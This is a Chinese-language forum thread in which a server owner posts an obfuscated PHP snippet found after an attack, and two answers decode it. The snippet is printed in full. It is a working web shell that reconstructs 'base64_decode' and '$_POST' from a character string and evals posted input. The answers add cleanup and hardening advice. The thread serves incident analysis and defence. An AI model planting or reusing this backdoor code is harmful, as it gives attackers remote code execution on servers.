尝试解码病毒

2022-08-30 20:40:28

我的服务器最近受到攻击,我一直在努力研究它是如何发生的以及为什么发生的。

我在病毒文件中发现了一个非常相似的模式,看起来像这样 - 据我所知,它正在尝试运行特定文件?

有没有人见过这样的东西,我应该如何解释它?它只是根据字符串抓取单个字符吗?$sF

<?php

$sF = "PCT4BA6ODSE_";
$s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] . $sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]);
$s22 = ${strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2])}['nd335c3'];
if (isset($s22)) {
  eval($s21($s22));
}?>

答案 1

变量等于 且等于 。$s21base64_decode$s22$_POST['nd335c3']

每当向服务器发出请求时,它都会执行任何命令,正如您所期望的那样,这是非常危险的。POST$_POST['nd335c3'];

我非常怀疑您的服务器被黑客入侵,但您的网站脚本被利用了。您网站上是否有任何用户可以上传文件的地方?我在WordPress上看到了很多类似的东西,这些插件编码不佳。

解决问题

若要解决此问题,请首先删除此文件或代码部分。您可能希望关闭站点并将其置于维护模式,直到可以搜索并验证所有其他文件均未被修改。

站点备份并运行后,记录对被黑客入侵文件所在位置的请求或包含相同 POST 变量的请求。

一旦有用户向漏洞利用程序发送数据,您就可以检查所有其他日志文件,并将它们与相同的 IP 地址和用户代理进行比较。这是一个遥远的镜头,但希望他们只使用一台计算机进行攻击。从日志中,您可以看到他们究竟访问了什么,以可能执行攻击并上传被利用的文件。

将来防止这种情况

  1. 不要将您在网上找到的任何代码安装到您的网站上,除非您信任开发人员并相信它是完全安全的,并且知道他们发布了更新。
  2. 将 Web 服务器设置为除了对上载目录之外没有写入访问权限,并且/tmp
  3. 验证所有上传的文件,以确保它们完全符合您的预期。
  4. 不允许 PHP 在文件上传到的位置运行,将文件下载为静态直接文件。这样,如果上传的文件绕过了文件检查,它仍然不会造成任何伤害。

答案 2

只需按照字符串$sF的连续代码库进行操作,您就会发现

$21 = "base64_decode";
$22 = "_POST['nd335c3']";

和其余的代码,基本上检查_POST['nd335c3']是否存在,如果是,则执行PHP代码:base64_decode(_POST['nd335c3']);

接下来要做什么我真的不知道,因为你没有显示病毒的整个代码。

希望它能有所帮助。


推荐